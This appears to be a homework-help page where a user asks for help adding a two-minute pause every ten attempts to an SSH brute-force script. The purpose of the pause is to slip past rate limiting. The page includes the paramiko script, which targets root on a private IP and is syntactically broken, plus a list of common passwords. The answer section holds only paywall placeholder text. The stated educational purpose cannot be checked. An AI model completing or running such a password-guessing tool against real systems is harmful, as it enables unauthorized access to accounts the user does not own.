Answered step by step
Verified Expert Solution
Question
1 Approved Answer
Hello, I am trying to configure my brute force tool to time.sleep for 2 minutes after every 10 password attempts. Could someone help? Note that
Hello, I am trying to configure my brute force tool to time.sleep for 2 minutes after every 10 password attempts. Could someone help? Note that I am using this for educational purposes only.
import paramiko import time with open('passwords.txt', 'r') as file: #Create SSH client object client = paramiko.SSHClient() #Automatically add ssh keys client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # set username and target host username = "root" host = "10.12.0.10" # loop through each password in file for password in file: # read password from file and strip whitespaces password = password.strip() try: # try each password cnt = 0 for cnt in password print('trying password:', password) cnt += 1 if cnt == 10: time.sleep(120) #Attempt to establish SSH connection client.connect(host, username=username, password=password,timeout=0.5, count) # prompt if connected print('connected') #Run Commands # check user with whoami stdin, stdout, stderr = client.exec_command(r' whoami') user = stdout.read().decode('utf-8').strip() # check directory with pwd stdin, stdout, stderr = client.exec_command(r' pwd') pwd = stdout.read().decode('utf-8').strip() # parse directory info root, path, loggedUser = pwd.split('/') #Print output to user print(user) # checks if user is in default home directory assert user == loggedUser # if not connected prompt password failure except paramiko.AuthenticationException: print('failed for password:', password) # if password accepted print password and break from loop else: print('password found:', password) break # clean up ssh connection finally: client.close()
Here is the contents of my pass.txt file
123456 password 12345678 qwerty 123456789 12345 1234 111111 1234567 dragon 123123 baseball abc123 football monkey letmein 696969 shadow master 666666 qwertyuiop 123321 mustang 1234567890 michael 654321 pussy superman 1qaz2wsx 7777777 121212 000000 qazwsx 123qwe killer trustno1 jordan jennifer zxcvbnm asdfgh hunter buster soccer harley batman andrew tigger sunshine iloveyou 2000 charlie robert thomas hockey ranger daniel starwars klaster 112233 george asshole computer michelle jessica pepper 1111 zxcvbn 555555 11111111 131313 freedom 777777 pass maggie 159753 aaaaaa ginger princess joshua cheese amanda summer love ashley 6969 nicole chelsea biteme matthew access yankees 987654321 dallas austin thunder taylor matrix changeme william corvette hello martin heather secret merlin diamond 1234qwer gfhjkm hammer silver 222222 88888888
Step by Step Solution
There are 3 Steps involved in it
Step: 1
Get Instant Access to Expert-Tailored Solutions
See step-by-step solutions with expert insights and AI powered tools for academic success
Step: 2
Step: 3
Ace Your Homework with AI
Get the answers you need in no time with our AI-driven, step-by-step assistance
Get Started